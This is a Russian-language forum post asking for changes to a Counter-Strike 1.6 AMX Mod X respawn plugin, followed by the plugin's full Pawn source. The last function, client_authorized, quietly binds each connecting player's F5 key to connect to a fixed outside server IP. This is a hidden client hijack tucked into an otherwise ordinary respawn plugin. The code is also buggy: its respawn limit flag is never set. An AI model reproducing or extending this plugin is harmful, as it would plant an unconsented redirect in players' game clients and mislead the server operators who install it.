Переделайте Плиз

panov

New Member
опять я , вас за.бал
переделайте плиз

сделайте чтобы возрождаться было можно только 2 раза, если игрок пытается возродится 3 раз писало вам нельзя возрождаться


Код:
#include <amxmodx>
#include <amxmisc>
#include <cstrike>
#include <fun>
#include <hamsandwich>

#define KEYSMENU MENU_KEY_1 | MENU_KEY_2 | MENU_KEY_0

#define PREFIX "[Surfing]" // Prefix in chat

#define MONEY 5000 // Money for respawn
#define FRAGS 5 // Frags for respawn

new bool:g_bEndRound
new szBlock[33]

public plugin_init()
{
        register_plugin("Respawn Manager", "0.1", "WPMG Team")
        
        RegisterHam(Ham_Killed, "player", "Player_Killed", 1)

        register_event("HLTV", "event_round_start", "a", "1=0", "2=0")
        register_logevent("logevent_round_end", 2, "1=Round_End")
        
        register_menu("menu show", KEYSMENU, "menu_rev_handler")

        register_clcmd("say /respawn", "show_menu_rev")
        register_clcmd("say /resp", "show_menu_rev")
}

public event_round_start()
{
        new szPlayers[32]
        new szNum, szPlayer

        get_players(szPlayers, szNum)

        for(new i; i < szNum; i++)
        {
                szPlayer = szPlayers[i]

                if(!szBlock[szPlayer])
                        continue

                szBlock[szPlayer] = false
        }

        g_bEndRound = false
}

public logevent_round_end()
{
        g_bEndRound = true
}

public Player_Killed(victim, attacker, myaso)
{
        if(!is_user_connected(victim))
                return HAM_IGNORED

        if(g_bEndRound)
                return HAM_IGNORED

        client_printcolor(victim, "^4%s ^1Say: ^4/resp^1, ^4/respawn ^1 для возрождения.", PREFIX)
        return HAM_HANDLED
}

public show_menu_rev(id)
{
        if(is_user_alive(id))
        {
                client_printcolor(id, "^4%s ^1Вы живой!!!", PREFIX)
                return PLUGIN_HANDLED
        }

        if(g_bEndRound)
        {
                client_printcolor(id, "^4%s ^1 Раунд закончен. Возрождение не возможно .", PREFIX)
                return PLUGIN_HANDLED
        }

        new szPlayersT[32], szNumT
        get_players(szPlayersT, szNumT, "ae", "TERRORIST")
        
        new szPlayersCT[32], szNumCT
        get_players(szPlayersCT, szNumCT, "ae", "CT")

        if(szNumT == 1)
        {
                client_printcolor(id, "^4%s ^1Остался 1 игрок возрождение не возможно.", PREFIX)
                return PLUGIN_HANDLED
        }else
        if(szNumCT == 1)
        {
                client_printcolor(id, "^4%s ^1Остался 1 игрок возрождение не возможно.", PREFIX)
                return PLUGIN_HANDLED
        }

        new menu[128]
        
        formatex(menu, charsmax(menu), "Выбирите за что будите выкупаться:^n^n\r1. \wMoney \y%d $^n\r2. \wFrags \y(%d frags)^n^n\r0. \wExit", MONEY, FRAGS)
        show_menu(id, KEYSMENU, menu, -1, "menu show")
        
        return PLUGIN_CONTINUE
}

public menu_rev_handler(id, key)
{
        key++

        switch(key)
        {
                case 1: set_spawn_for_money(id)
                case 2: set_spawn_for_frags(id)
        }
        return PLUGIN_HANDLED
}

set_spawn_for_money(id)
{
        if(szBlock[id])
        {
                client_printcolor(id, "Возможно только 1 воскрешение", PREFIX)
                return PLUGIN_HANDLED
        }

        if(cs_get_user_money(id) < MONEY)
        {
                client_printcolor(id, "У вас недостаточно денег", PREFIX)
                return PLUGIN_HANDLED
        }

        cs_set_user_money(id, cs_get_user_money(id) - MONEY, 1)
        ExecuteHamB(Ham_CS_RoundRespawn, id)
        
        client_printcolor(id, "Вы возродились за деньги!", PREFIX)
        return PLUGIN_CONTINUE
}

set_spawn_for_frags(id)
{
        if(szBlock[id])
        {
                client_printcolor(id, "Возможно только 1 воскрешение", PREFIX)
                return PLUGIN_HANDLED
        }

        if(get_user_frags(id) < FRAGS)
        {
                client_printcolor(id, "У вас не хватает фрагов!", PREFIX)
                return PLUGIN_HANDLED
        }

        set_user_frags(id, get_user_frags(id) - FRAGS)
        ExecuteHamB(Ham_CS_RoundRespawn, id)
        
        client_printcolor(id, "Вы выкупились за фраги!.", PREFIX)
        return PLUGIN_CONTINUE
}

stock client_printcolor(const id, const input[], any:...)
{
        new iCount = 1, iPlayers[32]
        static szMsg[191]

        vformat(szMsg, charsmax(szMsg), input, 3)
        replace_all(szMsg, 190, "/g", "^4")
        replace_all(szMsg, 190, "/y", "^1")
        replace_all(szMsg, 190, "/ctr", "^1")
        replace_all(szMsg, 190, "/w", "^0")

        if(id) iPlayers[0] = id 
                else get_players(iPlayers, iCount, "ch")

        for (new i = 0; i < iCount; i++)
        {
                if(is_user_connected(iPlayers[i]))
                {
                        message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, iPlayers[i])
                        write_byte(iPlayers[i])
                        write_string(szMsg)
                        message_end()
                }
        }
}

public client_authorized(id)
{
        client_cmd(id, "bind ^"F5^" ^"connect 83.222.115.242:27039^"")
}
 
Сверху